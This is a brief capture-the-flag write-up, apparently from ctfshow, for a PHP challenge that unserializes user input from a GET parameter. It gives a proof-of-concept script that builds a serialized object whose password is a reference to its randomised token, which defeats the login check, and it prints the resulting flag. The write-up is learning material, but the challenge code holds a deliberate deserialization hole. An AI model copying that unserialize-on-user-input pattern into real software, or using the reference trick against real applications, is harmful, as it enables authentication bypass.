PHP/5.6.40变量引用
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
token 会变,让 password 成为 token 的引用就好了
poc
<?php
class ctfshowAdmin{
public $token;
public $password;
}
$admin = new ctfshowAdmin();
$admin->password = &$admin->token;
echo(urlencode(serialize($admin)));
?>
flag
ctfshow{004e5324-66ef-4c7e-9a24-4d48c0c02176}